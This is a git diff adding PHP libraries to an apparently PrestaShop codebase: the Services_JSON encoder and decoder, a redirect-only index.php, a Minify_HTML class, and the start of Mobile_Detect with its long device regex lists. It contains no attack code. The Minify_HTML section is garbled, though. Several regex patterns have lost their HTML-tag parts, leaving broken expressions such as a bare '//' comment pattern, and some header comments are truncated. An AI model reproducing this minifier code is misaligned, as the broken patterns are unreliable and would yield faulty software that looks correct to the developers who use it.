checked with isError() + */ + function __construct($use = 0) + { + $this->use = $use; + } + + /** + * convert a string from one UTF-16 char to one UTF-8 char + * + * Normally should be handled by mb_convert_encoding, but + * provides a slower PHP-only method for installations + * that lack the multibye string extension. + * + * @param string $utf16 UTF-16 character + * @return string UTF-8 character + * @access private + */ + function utf162utf8($utf16) + { + // oh please oh please oh please oh please oh please + if(function_exists('mb_convert_encoding')) { + return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16'); + } + + $bytes = (ord($utf16{0}) << 8) | ord($utf16{1}); + + switch(true) { + case ((0x7F & $bytes) == $bytes): + // this case should never be reached, because we are in ASCII range + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0x7F & $bytes); + + case (0x07FF & $bytes) == $bytes: + // return a 2-byte UTF-8 character + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0xC0 | (($bytes >> 6) & 0x1F)) + . chr(0x80 | ($bytes & 0x3F)); + + case (0xFFFF & $bytes) == $bytes: + // return a 3-byte UTF-8 character + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0xE0 | (($bytes >> 12) & 0x0F)) + . chr(0x80 | (($bytes >> 6) & 0x3F)) + . chr(0x80 | ($bytes & 0x3F)); + } + + // ignoring UTF-32 for now, sorry + return ''; + } + + /** + * convert a string from one UTF-8 char to one UTF-16 char + * + * Normally should be handled by mb_convert_encoding, but + * provides a slower PHP-only method for installations + * that lack the multibye string extension. + * + * @param string $utf8 UTF-8 character + * @return string UTF-16 character + * @access private + */ + function utf82utf16($utf8) + { + // oh please oh please oh please oh please oh please + if(function_exists('mb_convert_encoding')) { + return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); + } + + switch(strlen($utf8)) { + case 1: + // this case should never be reached, because we are in ASCII range + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return $utf8; + + case 2: + // return a UTF-16 character from a 2-byte UTF-8 char + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0x07 & (ord($utf8{0}) >> 2)) + . chr((0xC0 & (ord($utf8{0}) << 6)) + | (0x3F & ord($utf8{1}))); + + case 3: + // return a UTF-16 character from a 3-byte UTF-8 char + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr((0xF0 & (ord($utf8{0}) << 4)) + | (0x0F & (ord($utf8{1}) >> 2))) + . chr((0xC0 & (ord($utf8{1}) << 6)) + | (0x7F & ord($utf8{2}))); + } + + // ignoring UTF-32 for now, sorry + return ''; + } + + /** + * encodes an arbitrary variable into JSON format + * + * @param mixed $var any number, boolean, string, array, or object to be encoded. + * see argument 1 to Services_JSON() above for array-parsing behavior. + * if var is a strng, note that encode() always expects it + * to be in ASCII or UTF-8 format! + * + * @return mixed JSON string representation of input var or an error if a problem occurs + * @access public + */ + function encode($var) + { + switch (gettype($var)) { + case 'boolean': + return $var ? 'true' : 'false'; + + case 'NULL': + return 'null'; + + case 'integer': + return (int) $var; + + case 'double': + case 'float': + return (float) $var; + + case 'string': + // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT + $ascii = ''; + $strlen_var = strlen($var); + + /* + * Iterate over every character in the string, + * escaping with a slash or encoding to UTF-8 where necessary + */ + for ($c = 0; $c < $strlen_var; ++$c) { + + $ord_var_c = ord($var{$c}); + + switch (true) { + case $ord_var_c == 0x08: + $ascii .= '\b'; + break; + case $ord_var_c == 0x09: + $ascii .= '\t'; + break; + case $ord_var_c == 0x0A: + $ascii .= '\n'; + break; + case $ord_var_c == 0x0C: + $ascii .= '\f'; + break; + case $ord_var_c == 0x0D: + $ascii .= '\r'; + break; + + case $ord_var_c == 0x22: + case $ord_var_c == 0x2F: + case $ord_var_c == 0x5C: + // double quote, slash, slosh + $ascii .= '\\'.$var{$c}; + break; + + case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): + // characters U-00000000 - U-0000007F (same as ASCII) + $ascii .= $var{$c}; + break; + + case (($ord_var_c & 0xE0) == 0xC0): + // characters U-00000080 - U-000007FF, mask 110XXXXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, ord($var{$c + 1})); + $c += 1; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xF0) == 0xE0): + // characters U-00000800 - U-0000FFFF, mask 1110XXXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2})); + $c += 2; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xF8) == 0xF0): + // characters U-00010000 - U-001FFFFF, mask 11110XXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3})); + $c += 3; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xFC) == 0xF8): + // characters U-00200000 - U-03FFFFFF, mask 111110XX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3}), + ord($var{$c + 4})); + $c += 4; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xFE) == 0xFC): + // characters U-04000000 - U-7FFFFFFF, mask 1111110X + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3}), + ord($var{$c + 4}), + ord($var{$c + 5})); + $c += 5; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + } + } + + return '"'.$ascii.'"'; + + case 'array': + /* + * As per JSON spec if any array key is not an integer + * we must treat the the whole array as an object. We + * also try to catch a sparsely populated associative + * array with numeric keys here because some JS engines + * will create an array with empty indexes up to + * max_index which can cause memory issues and because + * the keys, which may be relevant, will be remapped + * otherwise. + * + * As per the ECMA and JSON specification an object may + * have any string as a property. Unfortunately due to + * a hole in the ECMA specification if the key is a + * ECMA reserved word or starts with a digit the + * parameter is only accessible using ECMAScript's + * bracket notation. + */ + + // treat as a JSON object + if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { + $properties = array_map(array($this, 'name_value'), + array_keys($var), + array_values($var)); + + foreach($properties as $property) { + if(Services_JSON::isError($property)) { + return $property; + } + } + + return '{' . join(',', $properties) . '}'; + } + + // treat it like a regular array + $elements = array_map(array($this, 'encode'), $var); + + foreach($elements as $element) { + if(Services_JSON::isError($element)) { + return $element; + } + } + + return '[' . join(',', $elements) . ']'; + + case 'object': + $vars = get_object_vars($var); + + $properties = array_map(array($this, 'name_value'), + array_keys($vars), + array_values($vars)); + + foreach($properties as $property) { + if(Services_JSON::isError($property)) { + return $property; + } + } + + return '{' . join(',', $properties) . '}'; + + default: + return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) + ? 'null' + : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string"); + } + } + + /** + * array-walking function for use in generating JSON-formatted name-value pairs + * + * @param string $name name of key to use + * @param mixed $value reference to an array element to be encoded + * + * @return string JSON-formatted name-value pair, like '"name":value' + * @access private + */ + function name_value($name, $value) + { + $encoded_value = $this->encode($value); + + if(Services_JSON::isError($encoded_value)) { + return $encoded_value; + } + + return $this->encode(strval($name)) . ':' . $encoded_value; + } + + /** + * reduce a string by removing leading and trailing comments and whitespace + * + * @param $str string string value to strip of comments and whitespace + * + * @return string string value stripped of comments and whitespace + * @access private + */ + function reduce_string($str) + { + $str = preg_replace(array( + + // eliminate single line comments in '// ...' form + '#^\s*//(.+)$#m', + + // eliminate multi-line comments in '/* ... */' form, at start of string + '#^\s*/\*(.+)\*/#Us', + + // eliminate multi-line comments in '/* ... */' form, at end of string + '#/\*(.+)\*/\s*$#Us' + + ), '', $str); + + // eliminate extraneous space + return trim($str); + } + + /** + * decodes a JSON string into appropriate variable + * + * @param string $str JSON-formatted string + * + * @return mixed number, boolean, string, array, or object + * corresponding to given JSON input string. + * See argument 1 to Services_JSON() above for object-output behavior. + * Note that decode() always returns strings + * in ASCII or UTF-8 format! + * @access public + */ + function decode($str) + { + $str = $this->reduce_string($str); + + switch (strtolower($str)) { + case 'true': + return true; + + case 'false': + return false; + + case 'null': + return null; + + default: + $m = array(); + + if (is_numeric($str)) { + // Lookie-loo, it's a number + + // This would work on its own, but I'm trying to be + // good about returning integers where appropriate: + // return (float)$str; + + // Return float or int, as appropriate + return ((float)$str == (integer)$str) + ? (integer)$str + : (float)$str; + + } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) { + // STRINGS RETURNED IN UTF-8 FORMAT + $delim = substr($str, 0, 1); + $chrs = substr($str, 1, -1); + $utf8 = ''; + $strlen_chrs = strlen($chrs); + + for ($c = 0; $c < $strlen_chrs; ++$c) { + + $substr_chrs_c_2 = substr($chrs, $c, 2); + $ord_chrs_c = ord($chrs{$c}); + + switch (true) { + case $substr_chrs_c_2 == '\b': + $utf8 .= chr(0x08); + ++$c; + break; + case $substr_chrs_c_2 == '\t': + $utf8 .= chr(0x09); + ++$c; + break; + case $substr_chrs_c_2 == '\n': + $utf8 .= chr(0x0A); + ++$c; + break; + case $substr_chrs_c_2 == '\f': + $utf8 .= chr(0x0C); + ++$c; + break; + case $substr_chrs_c_2 == '\r': + $utf8 .= chr(0x0D); + ++$c; + break; + + case $substr_chrs_c_2 == '\\"': + case $substr_chrs_c_2 == '\\\'': + case $substr_chrs_c_2 == '\\\\': + case $substr_chrs_c_2 == '\\/': + if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || + ($delim == "'" && $substr_chrs_c_2 != '\\"')) { + $utf8 .= $chrs{++$c}; + } + break; + + case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)): + // single, escaped unicode character + $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2))) + . chr(hexdec(substr($chrs, ($c + 4), 2))); + $utf8 .= $this->utf162utf8($utf16); + $c += 5; + break; + + case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): + $utf8 .= $chrs{$c}; + break; + + case ($ord_chrs_c & 0xE0) == 0xC0: + // characters U-00000080 - U-000007FF, mask 110XXXXX + //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 2); + ++$c; + break; + + case ($ord_chrs_c & 0xF0) == 0xE0: + // characters U-00000800 - U-0000FFFF, mask 1110XXXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 3); + $c += 2; + break; + + case ($ord_chrs_c & 0xF8) == 0xF0: + // characters U-00010000 - U-001FFFFF, mask 11110XXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 4); + $c += 3; + break; + + case ($ord_chrs_c & 0xFC) == 0xF8: + // characters U-00200000 - U-03FFFFFF, mask 111110XX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 5); + $c += 4; + break; + + case ($ord_chrs_c & 0xFE) == 0xFC: + // characters U-04000000 - U-7FFFFFFF, mask 1111110X + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 6); + $c += 5; + break; + + } + + } + + return $utf8; + + } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { + // array, or object notation + + if ($str{0} == '[') { + $stk = array(SERVICES_JSON_IN_ARR); + $arr = array(); + } else { + if ($this->use & SERVICES_JSON_LOOSE_TYPE) { + $stk = array(SERVICES_JSON_IN_OBJ); + $obj = array(); + } else { + $stk = array(SERVICES_JSON_IN_OBJ); + $obj = new stdClass(); + } + } + + array_push($stk, array('what' => SERVICES_JSON_SLICE, + 'where' => 0, + 'delim' => false)); + + $chrs = substr($str, 1, -1); + $chrs = $this->reduce_string($chrs); + + if ($chrs == '') { + if (reset($stk) == SERVICES_JSON_IN_ARR) { + return $arr; + + } else { + return $obj; + + } + } + + //print("\nparsing {$chrs}\n"); + + $strlen_chrs = strlen($chrs); + + for ($c = 0; $c <= $strlen_chrs; ++$c) { + + $top = end($stk); + $substr_chrs_c_2 = substr($chrs, $c, 2); + + if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) { + // found a comma that is not inside a string, array, etc., + // OR we've reached the end of the character list + $slice = substr($chrs, $top['where'], ($c - $top['where'])); + array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false)); + //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + if (reset($stk) == SERVICES_JSON_IN_ARR) { + // we are in an array, so just push an element onto the stack + array_push($arr, $this->decode($slice)); + + } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { + // we are in an object, so figure + // out the property name and set an + // element in an associative array, + // for now + $parts = array(); + + if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { + // "name":value pair + $key = $this->decode($parts[1]); + $val = $this->decode($parts[2]); + + if ($this->use & SERVICES_JSON_LOOSE_TYPE) { + $obj[$key] = $val; + } else { + $obj->$key = $val; + } + } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { + // name:value pair, where name is unquoted + $key = $parts[1]; + $val = $this->decode($parts[2]); + + if ($this->use & SERVICES_JSON_LOOSE_TYPE) { + $obj[$key] = $val; + } else { + $obj->$key = $val; + } + } + + } + + } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) { + // found a quote, and we are not inside a string + array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c})); + //print("Found start of string at {$c}\n"); + + } elseif (($chrs{$c} == $top['delim']) && + ($top['what'] == SERVICES_JSON_IN_STR) && + ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) { + // found a quote, we're in a string, and it's not escaped + // we know that it's not escaped becase there is _not_ an + // odd number of backslashes at the end of the string so far + array_pop($stk); + //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n"); + + } elseif (($chrs{$c} == '[') && + in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { + // found a left-bracket, and we are in an array, object, or slice + array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); + //print("Found start of array at {$c}\n"); + + } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) { + // found a right-bracket, and we're in an array + array_pop($stk); + //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + } elseif (($chrs{$c} == '{') && + in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { + // found a left-brace, and we are in an array, object, or slice + array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); + //print("Found start of object at {$c}\n"); + + } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) { + // found a right-brace, and we're in an object + array_pop($stk); + //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + } elseif (($substr_chrs_c_2 == '/*') && + in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { + // found a comment start, and we are in an array, object, or slice + array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); + $c++; + //print("Found start of comment at {$c}\n"); + + } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) { + // found a comment end, and we're in one now + array_pop($stk); + $c++; + + for ($i = $top['where']; $i <= $c; ++$i) + $chrs = substr_replace($chrs, ' ', $i, 1); + + //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + } + + } + + if (reset($stk) == SERVICES_JSON_IN_ARR) { + return $arr; + + } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { + return $obj; + + } + + } + } + } + + /** + * @todo Ultimately, this should just call PEAR::isError() + */ + function isError($data, $code = null) + { + if (class_exists('pear')) { + return PEAR::isError($data, $code); + } elseif (is_object($data) && (get_class($data) == 'services_json_error' || + is_subclass_of($data, 'services_json_error'))) { + return true; + } + + return false; + } +} + +if (class_exists('PEAR_Error')) { + + class Services_JSON_Error extends PEAR_Error + { + function Services_JSON_Error($message = 'unknown error', $code = null, + $mode = null, $options = null, $userinfo = null) + { + parent::PEAR_Error($message, $code, $mode, $options, $userinfo); + } + } + +} else { + + /** + * @todo Ultimately, this class shall be descended from PEAR_Error + */ + class Services_JSON_Error + { + function Services_JSON_Error($message = 'unknown error', $code = null, + $mode = null, $options = null, $userinfo = null) + { + + } + } + +} \ No newline at end of file diff --git a/tools/minify_html/index.php b/tools/minify_html/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/tools/minify_html/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/tools/minify_html/minify_html.class.php b/tools/minify_html/minify_html.class.php new file mode 100755 index 0000000..2905e37 --- /dev/null +++ b/tools/minify_html/minify_html.class.php @@ -0,0 +1,230 @@ + + */ +class Minify_HTML { + + /** + * Defines which class to call as part of callbacks, change this + * if you extend Minify_HTML + * @var string + */ + protected static $className = 'Minify_HTML'; + + /** + * "Minify" an HTML page + * + * @param string $html + * + * @param array $options + * + * 'cssMinifier' : (optional) callback function to process content of STYLE + * elements. + * + * 'jsMinifier' : (optional) callback function to process content of SCRIPT + * elements. Note: the type attribute is ignored. + * + * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If + * unset, minify will sniff for an XHTML doctype. + * + * @return string + */ + + /* PrestaShop + added a limit for all preg_replace_callback + */ + public static function minify($html, $options = array()) { + + if (isset($options['cssMinifier'])) { + self::$_cssMinifier = $options['cssMinifier']; + } + if (isset($options['jsMinifier'])) { + self::$_jsMinifier = $options['jsMinifier']; + } + + $html = str_replace("\r\n", "\n", trim($html)); + + self::$_isXhtml = ( + isset($options['xhtml']) + ? (bool)$options['xhtml'] + : (false !== strpos($html, ']*?>)([\\s\\S]*?)<\\/script>\\s*/i' + ,array(self::$className, '_removeScriptCB') + ,$html, + Media::getBackTrackLimit()); + + // replace STYLEs (and minify) with placeholders + $html = preg_replace_callback( + '/\\s*(]*?>)([\\s\\S]*?)<\\/style>\\s*/i' + ,array(self::$className, '_removeStyleCB') + ,$html, + Media::getBackTrackLimit()); + + // remove HTML comments (not containing IE conditional comments). + $html = preg_replace_callback( + '//' + ,array(self::$className, '_commentCB') + ,$html, + Media::getBackTrackLimit()); + + // replace PREs with placeholders + $html = preg_replace_callback('/\\s*(]*?>[\\s\\S]*?<\\/pre>)\\s*/i' + ,array(self::$className, '_removePreCB') + , $html, + Media::getBackTrackLimit()); + + // replace TEXTAREAs with placeholders + $html = preg_replace_callback( + '/\\s*(]*?>[\\s\\S]*?<\\/textarea>)\\s*/i' + ,array(self::$className, '_removeTaCB') + , $html, + Media::getBackTrackLimit()); + + // trim each line. + // @todo take into account attribute values that span multiple lines. + $html = preg_replace('/^\\s+|\\s+$/m', '', $html, Media::getBackTrackLimit()); + + // remove ws around block/undisplayed elements + $html = preg_replace('/\\s+(<\\/?(?:area|base(?:font)?|blockquote|body' + .'|caption|center|cite|col(?:group)?|dd|dir|div|dl|dt|fieldset|form' + .'|frame(?:set)?|h[1-6]|head|hr|html|legend|li|link|map|menu|meta' + .'|ol|opt(?:group|ion)|p|param|t(?:able|body|head|d|h||r|foot|itle)' + .'|ul)\\b[^>]*>)/i', '$1', $html, Media::getBackTrackLimit()); + + // remove ws outside of all elements + $html = preg_replace_callback( + '/>([^<]+)]+>)/i', "$1\n$2", $html); + + // fill placeholders + $html = str_replace( + array_keys(self::$_placeholders) + ,array_values(self::$_placeholders) + ,$html + ); + self::$_placeholders = array(); + + self::$_cssMinifier = self::$_jsMinifier = null; + return $html; + } + + protected static function _commentCB($m) + { + return (0 === strpos($m[1], '[') || false !== strpos($m[1], '' . preg_replace('/^\\s+|\\s+$/', ' ', $m[1], Media::getBackTrackLimit()) . '<'; + } + + protected static function _removePreCB($m) + { + return self::_reservePlace($m[1]); + } + + protected static function _removeTaCB($m) + { + return self::_reservePlace($m[1]); + } + + protected static function _removeStyleCB($m) + { + $openStyle = $m[1]; + $css = $m[2]; + // remove HTML comments + $css = preg_replace('/(?:^\\s*\\s*$)/', '', $css, Media::getBackTrackLimit()); + + // remove CDATA section markers + $css = self::_removeCdata($css); + + // minify + $minifier = self::$_cssMinifier + ? self::$_cssMinifier + : 'trim'; + $css = call_user_func($minifier, $css); + + return self::_reservePlace(self::_needsCdata($css) + ? "{$openStyle}/**/" + : "{$openStyle}{$css}" + ); + } + + protected static function _removeScriptCB($m) + { + $openScript = $m[1]; + $js = $m[2]; + + // remove HTML comments (and ending "//" if present) + $js = preg_replace('/(?:^\\s*\\s*$)/', '', $js, Media::getBackTrackLimit()); + + // remove CDATA section markers + $js = self::_removeCdata($js); + + // minify + $minifier = self::$_jsMinifier + ? self::$_jsMinifier + : 'trim'; + $js = call_user_func($minifier, $js); + + return self::_reservePlace(self::_needsCdata($js) + ? "{$openScript}/**/" + : "{$openScript}{$js}" + ); + } + + + protected static function _removeCdata($str) + { + return (false !== strpos($str, ''), '', $str) + : $str; + } + + protected static function _needsCdata($str) + { + return (self::$_isXhtml && preg_match('/(?:[<&]|\\-\\-|\\]\\]>)/', $str)); + } +} + diff --git a/tools/mobile_Detect/Mobile_Detect.php b/tools/mobile_Detect/Mobile_Detect.php new file mode 100755 index 0000000..567f25c --- /dev/null +++ b/tools/mobile_Detect/Mobile_Detect.php @@ -0,0 +1,773 @@ + + * Victor Stanciu (until v.1.0) + * @license MIT License https://github.com/serbanghita/Mobile-Detect/blob/master/LICENSE.txt + * @link Official page: http://mobiledetect.net + * GitHub Repository: https://github.com/serbanghita/Mobile-Detect + * Google Code Old Page: http://code.google.com/p/php-mobile-detect/ + */ + +class Mobile_Detect { + + protected $scriptVersion = '2.5.5'; + + // External info. + protected $userAgent = null; + protected $httpHeaders; + + // Arrays holding all detection rules. + protected $mobileDetectionRules = null; + protected $mobileDetectionRulesExtended = null; + // Type of detection to use. + protected $detectionType = 'mobile'; // mobile, extended @todo: refactor this. + + // List of mobile devices (phones) + protected $phoneDevices = array( + 'iPhone' => '\biPhone.*Mobile|\biPod|\biTunes', + 'BlackBerry' => 'BlackBerry|rim[0-9]+', + 'HTC' => 'HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6425|001HT|Inspire 4G', + 'Nexus' => 'Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile', + // @todo: Is 'Dell Streak' a tablet or a phone? ;) + 'Dell' => 'Dell.*Streak|Dell.*Aero|Dell.*Venue|DELL.*Venue Pro|Dell Flash|Dell Smoke|Dell Mini 3iX|XCD28|XCD35|\b001DL\b|\b101DL\b|\bGS01\b', + 'Motorola' => 'Motorola|\bDroid\b.*Build|DROIDX|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT909|XT910|XT912|XT928', + 'Samsung' => 'Samsung|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9100|GT-I9103|GT-I9220|GT-I9250|GT-I9300|GT-I9300 |GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|GT-M8800|GT-M8910|GT-N7000|GT-P6810|GT-P7100|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|SCH-I910|SCH-I920|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|SGH-E590|SGH-E635|S